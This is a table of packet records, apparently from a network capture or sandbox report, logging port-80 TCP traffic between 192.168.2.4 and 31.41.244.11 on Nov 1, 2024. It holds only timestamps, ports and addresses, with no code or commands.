Nov 1, 2024 10:57:10.493052959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493063927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493074894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493077040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493092060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493097067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493103027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493154049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493154049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493169069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493179083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493189096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493199110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493206024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493211031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493221998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493225098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493251085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493271112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493345976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493356943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493366003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493377924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493387938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493391991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493400097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493412018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493417978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493437052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493442059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493457079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493479967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493576050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493586063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493593931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493603945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493613005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493616104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493624926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493635893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493645906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493647099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493659019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493665934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493669987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493680954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493685961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493704081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493715048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493716955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493726969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493737936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493748903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493758917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493761063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493768930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493807077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493835926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493846893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493856907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493866920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493877888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493877888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493910074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493937969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493940115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493949890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493961096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493977070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493993044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494004965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494096994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494107962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494117022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494126081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494138956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494143009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494153976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494163990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494164944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494174957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494184971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494199038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494199038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494210958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494225979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494235992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494260073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494261980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494272947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494285107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494294882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494299889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494304895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494309902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494317055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494328976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494337082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494366884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494386911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494398117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494415045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494426012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494425058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494440079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494452000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494457006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494469881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494479895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494482040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494493008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494499922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494504929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494527102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494551897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494551897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494566917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494576931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494586945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494590998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494597912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494611025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494616032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494621992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494651079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494662046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494666100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494674921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494684935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494695902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494705915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494707108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494740009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494749069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494759083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494760036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494770050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494781971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494785070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494793892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494798899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494820118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494847059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494858027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494868994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494878054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494889021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494899035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494899988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494911909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.494934082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.494951010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495084047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495095015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495105028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495121956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495136023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495142937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495171070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495179892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495198011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495223045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495230913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495243073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495260000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495295048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495328903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495340109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495349884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495361090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495367050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495373011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495385885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495393038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495397091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495408058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495423079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495435953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495460987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495472908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495485067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495495081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495507002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495513916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495518923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495537043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495564938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495595932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495605946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495615959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495625973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495635033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495636940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495649099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495660067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495663881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495687962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495702982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495738983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495748997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495759010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495769024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495781898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495783091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495795012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495806932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495809078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495817900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495830059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495836973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495847940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495855093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495858908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495872974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495883942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495903015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495918989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495924950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495930910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495943069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495950937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.495956898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495975018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.495992899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496000051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496010065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496018887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496037006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496064901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496084929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496095896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496104956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496124983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496150970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496169090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496206045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496207952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496217012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496238947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496247053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496264935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496265888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496277094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.496282101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496304035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.496318102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.516494036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.516550064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.516563892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.516587973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.516597986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.516621113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.516623974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.516663074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.516665936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.516706944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582495928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582514048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582525015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582540035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582545042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582550049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582562923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582571030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582588911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582592010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582597971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582607985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582616091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582627058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582642078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582653999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582695961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582706928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582715988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.582734108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.582761049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583013058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583024025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583029985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583101034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583112955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583127022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583137035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583144903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583151102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583159924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583182096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583184958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583195925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583204985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583229065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583241940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583290100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583303928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583308935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583323956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583333015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583342075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583372116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583544016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583584070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583595037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583596945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583620071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583632946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583656073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583667040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583674908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583683968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583690882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583694935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583698988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583703995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583723068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583744049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583823919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583833933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583842039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583862066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583873034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583903074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583913088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583921909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583930969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583939075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583940983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583950043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583961964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.583981991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.583988905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584003925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584012985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584017992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584039927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584049940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584070921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584080935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584089041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584114075 CET	49820	80	192.168.2.4	31.41.244.11
